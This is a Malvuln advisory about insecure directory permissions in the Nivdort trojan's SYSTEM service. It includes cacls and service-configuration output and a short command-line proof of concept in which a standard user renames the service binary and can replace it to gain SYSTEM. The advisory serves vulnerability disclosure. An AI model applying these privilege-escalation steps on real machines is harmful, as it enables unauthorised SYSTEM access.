TrojanSpy Win32 Nivdort MVID-2024-0668 Insecure Permissions

`Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source: https://malvuln.com/advisory/15bda00b57e2ed729a45f7cfa62165da.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: TrojanSpy Win32 Nivdort  
Vulnerability: Insecure Permissions - EoP (SYSTEM)   
Family: Nivdort  
Type: PE32  
MD5: 15bda00b57e2ed729a45f7cfa62165da  
Vuln ID: MVID-2024-0668  
Dropped files: dqrpgvnkh, egjrdhynfm, nhefhloix, rvoyf6ljtqg4zejno.exe  
Disclosure: 01/20/2024  
  
Description:  
The malware creates a service which runs as SYSTEM and grants change (C) permissions to the authenticated user group on its installation directory. Standard low integrity users can still rename the service executable while it is running, replace the PE file with their own and restart the infected system to start the service.  
  
C:\>cacls C:\pewcvmnvyr\jwgaklb.exe  
C:\pewcvmnvyr\jwgaklb.exe BUILTIN\Administrators:(ID)F  
NT AUTHORITY\SYSTEM:(ID)F  
BUILTIN\Users:(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
  
  
C:\>sc qc "Group Key KtmRm Coordinator Registry TPM Bus"  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME: Group Key KtmRm Coordinator Registry TPM Bus  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 0 IGNORE  
BINARY_PATH_NAME : C:\pewcvmnvyr\jwgaklb.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Group Key KtmRm Coordinator Registry TPM Bus  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
Exploit/PoC:  
Open a cmd prompt as standard user:  
  
1) unhide the service binary  
C:\Users\norgt>attrib -s -h \pewcvmnvyr\jwgaklb.exe  
  
2) rename the service binary  
C:\Users\norgt>ren \pewcvmnvyr\jwgaklb.exe PWNED  
  
3) optional replace with your own binary and escalate to SYSTEM  
  
C:\Users\norgt>dir \pewcvmnvyr\  
Directory of C:\pewcvmnvyr  
..  
01/14/2024 02:05 AM 0 dqrpgvnkh  
01/14/2024 02:05 AM 6 egjrdhynfm  
01/14/2024 02:09 AM 4 nhefhloix  
01/14/2024 02:05 AM 332,800 PWNED <================= DONE  
01/14/2024 02:05 AM 332,800 rvoyf9njtqg4zejno.exe  
  
  
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